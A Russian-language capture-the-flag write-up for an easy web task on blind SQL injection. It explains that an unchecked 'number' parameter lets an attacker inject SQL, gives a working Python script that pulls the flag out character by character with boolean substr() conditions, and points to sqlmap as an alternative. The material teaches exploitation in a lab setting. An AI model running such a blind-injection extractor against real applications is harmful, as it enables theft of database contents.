Райтап на задачу «Слепая инъекция»

dikiyponos

Автор:

dikiyponos

5 ноября 2026

3

05.11.2026
Слепая инъекция
Категория:

Web

Задача «Слепая инъекция»

LastTeamLead

Автор:

LastTeamLead

Первая кровь:
vanderson
Сложность:
easy
Дата публикации:
18.09.2025
Решений:
224
Рейтинг:
4.94/5
Ссылка:
Решать

Читаем задание и исходники. Очевидно, что это задание на SQL-инъекцию.

Решение задачи «Слепая инъекция»: иллюстрация 1

SQL-инъекция — это тип уязвимости, когда злоумышленник (в данном случае мы) внедряет вредоносный SQL-код в различные поля ввода. Если приложение обрабатывает данные без должной проверки, сервер выполняет этот код в своей базе данных.

По исходному коду видим, что number подставляется в query без каких-либо проверок, значит мы можем внедрить туда свой код, чтобы извлечь посимвольно флаг. Как мы будем это делать?

Мы будем перебирать все ASCII-символы, из которых состоит флаг, и сравнивать с первой буквой. Если сходится — результат true, то мы угадали. Затем угадываем вторую, третью и так далее, пока не угадаем весь флаг. Вот простая реализация на python:

import requests, string

URL = "https://blind-injection.t1.bug-makers.ru/check"

CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_{}"

def query(cond):
    r = requests.get(URL, params={"number": cond}, timeout=15)
    r.raise_for_status()
    return r.json()["success"]

flag = ""
for i in range(1, 200):
    for ch in CHARS:
        if query(f"(SELECT substr((SELECT flag FROM flag LIMIT 1),{i},1)='{ch}')"):
            flag += ch
            print(flag, flush=True)
            break
    else:
        break

print(flag)
Решение задачи «Слепая инъекция»: иллюстрация 2

Остаётся только дождаться выполнения — и флаг у вас. Если вы не любите писать скрипты, то можно использовать sqlmap — встроенную утилиту в Kali Linux для обнаружения и эксплуатации sql-injection уязвимостей.

Решение задачи «Слепая инъекция»: иллюстрация 3

Не обязательно сразу указывать sql-query и dbms — утилита достаточно умная для самостоятельной разведки, но зачем зря тратить время на разведку, если мы её уже сделали?

Решение задачи «Слепая инъекция»: иллюстрация 4

Остаётся только дождаться получения флага и отправить его на сайт.

Если вы нашли опечатку или ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter

Также по теме:

Райтап на задачу «Совсем слепая инъекция»

/Разборы задач

Райтап на задачу «Совсем слепая инъекция»

Извлекаем флаг через временную SQL-инъекцию в SQLite и отсеиваем случайные задержки ответа.
Прочитать

3

Райтап на задачу «Обменник „У Апишечки“»

/Разборы задач

Райтап на задачу «Обменник „У Апишечки“»

Используем отсутствие проверки отрицательных сумм в API обмена валют и получаем нужный баланс.
Прочитать

3